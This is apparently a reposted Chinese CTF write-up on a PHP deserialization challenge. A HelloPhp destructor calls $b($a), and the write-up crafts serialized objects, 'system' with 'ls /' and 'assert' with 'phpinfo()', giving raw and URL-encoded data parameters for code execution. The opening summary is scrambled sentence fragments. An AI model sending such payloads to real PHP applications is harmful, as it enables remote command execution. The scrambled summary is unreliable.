本文介绍: 并在构造函数中将它们分别初始化为字符串 “Y-m–d h:i:s” 和 “date“。函数将当前文件的源代码高亮显示并输出,然后终止程序。然后,通过判断 GET 请求中是否包含参数。符号将可能产生的错误屏蔽,防止错误信息泄露。这段代码是一个简单的 PHP 类,名为。,它在对象销毁时被调用。猜测可能是过滤了部分函数,尝试用别的。发现一个网址,访问这个页面查看。参数反序列化为对象,并使用。没发现其他的线索,查看源代码。函数将 GET 请求中的。类中还定义了一个析构函数。之后的代码中,创建了一个。
题目
这段代码是一个简单的 PHP 类,名为 HelloPhp
。它有两个公共属性 $a
和 $b
,并在构造函数中将它们分别初始化为字符串 “Y-m–d h:i:s” 和 “date“。
类中还定义了一个析构函数 __destruct()
,它在对象销毁时被调用。在该函数中,它使用属性 $b
存储的字符串作为函数名,将属性 $a
存储的字符串作为参数,并通过调用 $b($a)
来执行日期格式化操作。
之后的代码中,创建了一个 HelloPhp
类的对象 $c
。然后,通过判断 GET 请求中是否包含参数 source
,如果存在,则使用 highlight_file()
函数将当前文件的源代码高亮显示并输出,然后终止程序。
最后一行代码使用 unserialize()
函数将 GET 请求中的 data
参数反序列化为对象,并使用 @
符号将可能产生的错误屏蔽,防止错误信息泄露。
由上述代码可知,存在魔法函数__destruct(),调用危险函数b(a),a、b参数可控
<?php
class HelloPhp
{
public $a="ls /";
public $b="system";
}
$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);
?>
?data=O:8:"HelloPhp":2:{s:1:"a";s:4:"ls /";s:1:"b";s:6:"system";}<br>O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D
<?php
class HelloPhp
{
public $a="phpinfo()";
public $b="assert";
}
$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);
?>
O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}<br>O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
CTF-PHP反序列化漏洞2-利用魔法函数_php反序列化漏洞题目_Eason_LYC的博客-CSDN博客
原文地址:https://blog.csdn.net/gsumall04/article/details/134655156
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.7code.cn/show_36454.html
如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除!
声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。